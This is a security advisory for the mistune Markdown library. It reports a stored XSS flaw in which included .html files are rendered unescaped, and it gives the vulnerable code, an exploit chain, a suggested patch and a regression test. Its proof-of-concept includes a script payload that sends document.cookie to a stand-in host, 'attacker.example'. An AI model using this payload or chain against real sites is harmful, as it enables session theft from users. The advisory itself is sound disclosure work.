Skip to content

directives/include: `.. include::` of an `.html` file emits the file content as raw `block_html`, bypassing `escape=True` for the included file's contents

Moderate
lepture published GHSA-96vr-jm8v-g22j Jun 21, 2026

Package

pip mistune (pip)

Affected versions

<= 3.2.1

Patched versions

3.3.0

Description

Summary

Type: XSS via include-by-extension dispatch. The Include directive treats .html/.xhtml/.htm files specially, returning their content as {"type": "block_html", "raw": content}. The HTML renderer then emits this token as RAW HTML when escape=False is set on the renderer, and as escape_text(html) when escape=True. With the documented and recommended escape=False for sites that "trust their markdown corpus", the entire content of the included .html file lands unescaped in the page. Combined with the path-traversal advisory I just filed (Include accepts ../-paths and absolute paths), an attacker who can place a single .html file anywhere readable by the rendering process gets stored XSS.
File: src/mistune/directives/include.py, lines 56-57.
Root cause: the directive treats file extension as a security-relevant signal even though the markdown source is attacker-controlled. The attacker chooses both the file extension (via the :: path argument) and, given the existing path-traversal flaw, the file path itself. There is no per-file content allowlist or sanitisation; the block_html token says "this is trusted HTML", and the renderer obliges with escape=False.

Affected Code

File: src/mistune/directives/include.py, lines 48-64.

ext = os.path.splitext(relpath)[1]
if ext in {".md", ".markdown", ".mkd"}:
    new_state = block.state_cls()
    new_state.env["__file__"] = dest
    new_state.process(content)
    block.parse(new_state)
    return new_state.tokens

elif ext in {".html", ".xhtml", ".htm"}:
    return {"type": "block_html", "raw": content}        # <-- BUG: raw HTML token, escape=False renders unescaped

attrs["filepath"] = dest
return {
    "type": "include",
    "raw": content,
    "attrs": attrs,
}

renderers/html.py:135-138 handles the block_html token:

def block_html(self, html: str) -> str:
    if self._escape:
        return "<p>" + escape_text(html.strip()) + "</p>\n"
    return html + "\n"                                    # <-- BUG: unescaped passthrough when escape=False

Why it's wrong: the file-extension heuristic conflates "the content has HTML semantics" with "the content is trusted to be embedded raw". With escape=False (a documented and common config for any site that wants to preserve inline-HTML in user markdown), the entire included file is dumped into the output without sanitisation. Combined with the path-traversal flaw, an attacker can plant a .html payload via any uploadable channel (avatar uploads, attachments, log files, form submissions that get written to disk) and then include it from their markdown.

Exploit Chain

  1. Application uses mistune with escape=False and the Include directive (RSTDirective([Include()])). escape=False is commonly set on knowledge-base, wiki, and documentation platforms that allow inline HTML by design.
  2. Attacker plants a .html file somewhere readable by the rendering process. Realistic vehicles:
    • Upload an "image" with a .html extension via any form that stores files server-side without verifying content type.
    • Write to the application's log directory via crafted log lines.
    • Use a separate vulnerability that lets them write a file (existing CVEs in Python web frameworks, supply-chain dependency confusion that drops .html files).
  3. Attacker submits markdown containing .. include:: ../../tmp/uploads/payload.html.
  4. mistune resolves the path (no traversal containment, per the related advisory), reads the file, returns a block_html token.
  5. Renderer with escape=False emits the file content unchanged. If the file is <script>fetch('//attacker.example/?c='+document.cookie)</script>, the script runs in the application's origin.
  6. Final state: stored XSS that persists for as long as the malicious file exists on disk.

Security Impact

Severity: sec-medium. Conditional XSS that requires both escape=False (configuration choice) and a writable disk path the attacker can land a .html file at (separate primitive). Combined with the Include LFI advisory I have already filed, the attacker can also leverage the same attack surface to read sensitive files; this advisory is the write-side payload-delivery part of the same Include-directive class.
Attacker capability: plant a file with .html extension somewhere readable by the rendering process, then include it from attacker-controlled markdown. Resulting HTML lands unescaped in the rendered page.
Preconditions: mistune renderer constructed with escape=False, Include directive enabled. State env __file__ set (documented for filesystem-based markdown rendering).
Differential: PoC-verified against mistune@3.2.1:

import os, mistune
from mistune.directives import RSTDirective, Include

os.makedirs('/tmp/mistune-include-test/sub', exist_ok=True)
with open('/tmp/mistune-include-test/sub/payload.html', 'w') as f:
    f.write('<script>fetch("//attacker.example/?c=" + document.cookie)</script>')

md = mistune.create_markdown(escape=False, plugins=[RSTDirective([Include()])])

state = md.block.state_cls()
state.env['__file__'] = '/tmp/mistune-include-test/index.md'
print(md.parse('.. include:: sub/payload.html', state=state)[0])

# Output:
#   <script>fetch("//attacker.example/?c=" + document.cookie)</script>

The patched build (with the suggested fix below — either always escape included HTML or remove the .html extension branch entirely) does not emit raw script content.

Suggested Fix

The .html-extension branch is unsafe by construction when paired with escape=False. Two options:

--- a/src/mistune/directives/include.py
+++ b/src/mistune/directives/include.py
@@ -56,8 +56,11 @@ class Include(DirectivePlugin):
-        elif ext in {".html", ".xhtml", ".htm"}:
-            return {"type": "block_html", "raw": content}
+        elif ext in {".html", ".xhtml", ".htm"}:
+            # Embed as text inside <pre>, never as raw HTML. Callers who
+            # genuinely want raw HTML must opt in with a separate flag.
+            return {"type": "block_code", "raw": content, "attrs": {"info": "html"}}
+
+        # Optionally: an explicit Include(allow_html=True) constructor flag
+        # could restore the old raw-html behaviour for callers that need it.

The combined fix for this advisory and the LFI advisory should also pair the path containment check so that an attacker cannot reach a .html file outside the source directory. Either fix on its own narrows the attack surface; both together close it for any practical configuration.

Add a regression test asserting that .. include:: payload.html (with a <script> body) produces output that does NOT contain <script> literally — only entity-escaped text.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. eval). Learn more on MITRE.

Credits